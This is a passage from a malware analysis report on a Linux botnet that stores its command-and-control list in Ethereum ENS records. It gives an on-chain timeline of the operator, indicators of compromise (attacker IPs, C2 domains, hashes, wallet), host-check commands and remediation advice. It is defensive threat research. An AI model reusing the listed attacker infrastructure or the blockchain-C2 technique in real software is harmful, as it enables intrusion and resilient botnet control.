2026-10-28 18:35:47 Fresh wallet 0xec967e414b3d192ee4090fadff9faf1b44d66495 receives 0.02021751 ETH from 0x3f3Ee0a9cAC2d01DB44001eca3E8382fbe40207B, a high-volume service wallet (321,022 transactions) 0x41f02d49b3301e3112f1d2a4e616514e44f66d424b35be5e7fd7bed0cf22e473
18:36:59 swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data) on MetaMask Swap 0x881D40237659C251811CEC9c364ef91dC08D300C (aggregator uniswapPermit212FeeDynamic): 0.01956 ETH → 45.824398 USDC 0x8843560737b087caf807d41e588095a96f42c1187602ed1938e98f2c389b9c56
18:59:47 Receives 0.00063 ETH from 0xC066ac5D385419B1A8c43A0E146fA439837a8B8c, another service wallet (851,475 transactions) 0xd50117257da42acc90a587e5585b0b0966c66f126f63f24f341271cb550b66b3
18:59:47 transfer(address to, uint256 value): 2.189722 USDC to 0xe3478b0BB1A5084567C319096437924948Be1964, a service wallet with 162,836 transactions (possibly the name registration; not confirmed) 0xb81a5673c843ea9dfc854215e8ab41a79150e0a9e67ffb3ee6752d97ddc114ef
18:59:47 multicall(bytes[]) on the official ENS v2 resolver of dusknetwork.eth (0x3D0e86E0dbb1a334D3756125609Ab6a16b0305dD, a PermissionedResolver proxy). Emitted events: TextUpdated(recordId=1, key="ip", value="102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199") and ContenthashUpdated(recordId=1, hash=0xe30101701220c3c4733ec8affd06cf9e9ff50ffc6bcd2ec85a6170004bb709669c31de94391a) 0x311a942f62f92ae2ee8d020c231aea84ab02e161d8329900272cacd945ed3880
19:33:47 Receives 0.00087 ETH from 0xC066ac5D385419B1A8c43A0E146fA439837a8B8c 0x6bb7688720f721c523a78661a7610654f28c8bedd5de92e77bdff04493e6af7d
19:33:47 approve(address spender, uint256 value) on USDC for the swap router 0xa2ab40c06ad28179938c28eeee8b8e166821776da6ee2d41caf57c40a0147cb4
19:33:47 swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data) via oneInchV6FeeDynamic: 13 USDC → 0.0055 ETH 0x488991fb435b93ec10ea95ab6e7af5d4ff7db3ca2483baac68794bd6339007d9
19:34:35 Deploys the fake resolver 0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 0xdb2ed52837c4d16f2f20eff53ee89db74358e70757a1d053b0a43df0eb225f35
19:44:35 setText(bytes32 node, string key, string value) with node 0x6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2, key ip, value 102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199: the record the bot reads 0xc6ee5959bcade11e88ca637ed3fe30690273a2ddfe208486e7ccd933058719be
19:56:59 multicall(bytes[]) on the official ENS resolver erasing both records: TextUpdated(recordId=1, key="ip", value=""), ContenthashUpdated(recordId=1, hash=0x) 0x7d90715ee39e6f4de26a2501ced82872d7b8baf22eea927e0560fb7cb3def9df
2026-11-03 14:23 to 14:30 Mass exploitation reaches my server from 91.92.40.12 (my logs)

My reading of this sequence, which is an inference: the operator first used ENS "the normal way", then realised that a record attached to a name is visible in every ENS app and can be flagged. So they moved the data into a private contract that no app displays, and wiped the public record. They did, however, leave dusknetwork.eth as the wallet's primary name, which is how Etherscan labels every one of their transactions. The IPFS contenthash written at 18:59 (bafybeigdyrzt5sfp7udm7hu76uh7y26nf3efuylqabf3oclgtqy55fbzdi) looks like a widely used example CID, probably pasted from documentation while experimenting; I did not fetch it.

Total infrastructure cost: under 50 USD. The money trail stops at high-volume service wallets (exchanges, swap and gas-top-up services), so on-chain analysis alone cannot identify a person.

11. Indicators of compromise

Files

Type Value
SHA-256 x86_64.dusk d917efa0b3b6bf6d34a93b627cc91b88534392a3aac474b5101fd1c6937bb0cf
MD5 x86_64.dusk 0f7bcad90d1f6d23c541fab59bb64b4a
Dropped names DUSKNET.ONTOPDUSKBOT in /tmp, /var/tmp, /dev/shm
Services net-helper<N> (systemd / init.d / cron.d), Description=System Network Helper
Other artefacts /tmp/.<name>.pid, <dir>/.d (C2 cache), .x*, .v3s-*, .kpa-*, .e.tmp.*

Network

Role Value Provider (RDAP)
Exploitation / reverse shell / stage 2 91.92.40.12 (ports 12323, 9999) TechTies Inc., NL
Payload server (HTTP 235, TFTP, FTP) 62.60.226.31 FEMO IT Solutions / CHSCLOUD, DE
C2 (from chain) 102.220.161.194, 102.220.163.203, 196.251.121.249 AFRINIC space
C2 (from chain) 62.60.226.173 FEMO IT Solutions / CHSCLOUD, DE
C2 (from chain) 94.154.43.235 Pitline, US
C2 (from chain) 130.12.181.199 Netiface LLC
C2 domains sdkconnecter.com, sdkconnect121.st, lovefromallareas.at, iwonderifulovemeaswell.vg, iloveuevenifudontlovemeback.is, okiloveyoupleasedonttouchme.net, thespacemachines.st, dnsrecordsarepowerful.com —
C2 port 6969/tcp —

Ethereum

Role Value
Operator wallet (dusknetwork.eth) 0xec967e414b3d192ee4090fadff9faf1b44d66495
Fake resolver (C2 record) 0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4
Node namehash("dusknetwork.eth") = 0x6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2

Other: the seller handle @Juuviorg (Telegram) and the argv tag logic.

12. Detection and mitigation

If you run Next.js / React Server Components: update to a patched version (see the Next.js advisory for the fixed releases), then rotate the application's secrets. Exploitation is fully automated and indiscriminate.

Quick host checks:

ls -la /tmp /var/tmp /dev/shm | grep -i dusknet
systemctl list-unit-files | grep -i net-helper
ls /etc/init.d /etc/cron.d 2>/dev/null | grep -i net-helper
grep -rs 'net-helper\|DUSKNET\|/tmp/\..*\.pid' /etc/crontab /etc/cron.d /var/spool/cron /etc/inittab
ls -la /proc/*/exe 2>/dev/null | grep '(deleted)'

Network signals worth alerting on:

If a host was hit: assume every database, SSH host key, private key and environment-variable secret on it is compromised. Rotate them, then reinstall rather than clean.

13. Closing thoughts

Two takeaways.

The tradecraft is good. Plain C with musl and mbedTLS, three architectures, string encryption inlined a hundred times, three independent ways to find the C2, half a dozen persistence layers plus the hardware watchdog, and a business model (DDoS for hire) on top of opportunistic data theft. All of it delivered by a one-request exploit against a popular web framework.

Putting the C2 on a public blockchain cuts both ways. It makes the infrastructure impossible to take down: there is no registrar or hoster to contact, and an update costs cents. But it also makes the infrastructure impossible to hide. Once the contract address and the namehash are extracted from the binary, anyone can read the live C2 list with one curl, see every change the operator makes with a timestamp, and watch the wallet that pays for it. Here, that transparency gave us the operator's name for the project, the exact hour the C2 went live, and even the mistakes they made while setting it up.

References

The vulnerability

Blockchain-hosted C2 ("EtherHiding")

Cryptography, toolchain and tools


Appendix: tooling and scripts

Everything was done statically on a machine that cannot run Linux ELF binaries.

Tool Use
file, readelf, strings, sha256sum triage
objdump -d -M intel disassembly
Python + Capstone + Unicorn + pyelftools partial emulation of the decryption windows (no syscalls, all calls/jumps skipped)
Python + pycryptodome (Keccak) ENS namehash and ABI selectors
Public Ethereum RPC, Blockscout API, Etherscan read-only on-chain lookups
RDAP (rdap.org) IP ownership

Scripts in the repository:

Safety note: if you want to reproduce this, work on a copy of the sample, on a machine that cannot execute it, and do not connect to the attacker's infrastructure from an IP you care about. Every on-chain step above is a passive read of public data.